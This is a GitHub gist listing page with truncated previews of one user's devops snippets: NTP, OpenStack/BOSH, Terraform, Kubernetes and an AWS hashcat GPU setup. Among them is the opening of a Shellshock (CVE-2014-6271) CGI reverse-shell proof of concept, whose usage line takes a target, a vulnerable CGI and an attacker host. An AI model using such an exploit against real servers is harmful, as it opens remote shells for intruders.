Skip to content

Instantly share code, notes, and snippets.

@metahertz
metahertz / quickntp.sh
Created December 2, 2013 11:47
Quick NTP enable for temporary POC env
apt-get install ntp
cat << EOF > /etc/ntp.conf
driftfile /var/lib/ntp/ntp.drift
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable
server ntp.esl.cisco.com
server 0.pool.ntp.org
restrict -4 default kod notrap nomodify nopeer noquery
@metahertz
metahertz / config_drive=true for Openstack BOSH integration
Created February 27, 2014 17:54
send config_drive = true for openstack fog server create requests. Helps with BOSH/MicroBOSH deployments when config_drive is off globally in OpenStack configuration
root@premvp-cloudhammer-3:~/deployments# cat /usr/local/rvm/gems/ruby-2.0.0-p451/gems/fog-1.14.0/lib/fog/openstack/requests/compute/create_server.rb
module Fog
module Compute
class OpenStack
class Real
def create_server(name, image_ref, flavor_ref, options = {})
data = {
'server' => {
'flavorRef' => flavor_ref,
@metahertz
metahertz / convert-stemcell.sh
Created June 19, 2014 15:40
Converts a BOSH Stemcell (Default QCow2) into RAW for use with OpenStack
#!/bin/bash
# Dirty script to take a CloudFoundry BOSH stemcell and convert to RAW and repackage (default in QCOW2)
# Matt Johnson <[email protected]>
# Set some vars
MINPARAMS=1
WORKDIR=`date | sha1sum | awk '{print $1}'`
@metahertz
metahertz / gist:bc9689c60d4c9c5a2538
Created September 25, 2014 01:24
CVE-2014-6271 CGI Reverse Shell
#
# Reverse shell using bash and /dev/tcp
# PoC for CVE-2014-6271 BASH RCE
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
@metahertz
metahertz / gist:250cbed0feaf74d44463
Created March 27, 2015 10:40
Check Terraform recognises provider 'openstack'
# Testing the OpenStack provider from merge of
# https://github.com/hashicorp/terraform/pull/924
provider "openstack" {
user_name = "Openstack User"
tenant_name = "OPENSTACK TENANT NAME"
auth_url = "https://openstack-keystone-auth-uri:5000/v2.0"
password = "YourOpenstackPassword"
}
@metahertz
metahertz / demo2-openstack.tf
Created March 27, 2015 12:36
Demo2 Openstack terraform configuration http://www.matt-j.co.uk/?p=408
# Testing the OpenStack provider from merge of
# https://github.com/hashicorp/terraform/pull/924
provider "openstack" {
user_name = "<<USER_INPUT_NEEDED>>"
tenant_name = "<<USER_INPUT_NEEDED>>"
auth_url = "<<USER_INPUT_NEEDED>>"
password = "<<USER_INPUT_NEEDED>>"
}
@metahertz
metahertz / setuphashcatawsp2.sh
Created January 12, 2017 19:28
Setup AWS Linux P2 instance for hashcat
wget http://us.download.nvidia.com/XFree86/Linux-x86_64/375.26/NVIDIA-Linux-x86_64-375.26.run
sudo yum install dkms gcc cc kernel-devel
sudo yum update kernel
sudo chmod +x ./NVIDIA-Linux-x86_64-375.26.run
shutdown -r now #We need the running kernel to match our sources.
# enable the epel repo in /etc/yum.repos.d/epel.repo
yum install p7zip
@metahertz
metahertz / gist:33fb6fada3df6cf725f1187d68d36e44
Created March 9, 2017 16:59
Example of LearningLab HTML embedding
Docker 101 (Example demonstrating embedded video)
# Objective
This learning lab will introduce you blah blah blah, it's not a real learning lab, it just shows how the learning lab backend will notice a HTML snippet and parse it correctly in the output.
In this case, the example embeds a youtube video directly into the learning lab page.
Completion time: 5 minutes

Keybase proof

I hereby claim:

  • I am matjohn2 on github.
  • I am mattkj (https://keybase.io/mattkj) on keybase.
  • I have a public key ASDVLUSgONY9HwYHLu8zKjp1GLiYoRDjUGa4m_xmLaHzfgo

To claim this, I am signing this object:

apiVersion: apps/v1beta1 # for versions before 1.6.0 use extensions/v1beta1
kind: Deployment
metadata:
name: gateway
spec:
replicas: 1
template:
metadata:
labels:
app: gateway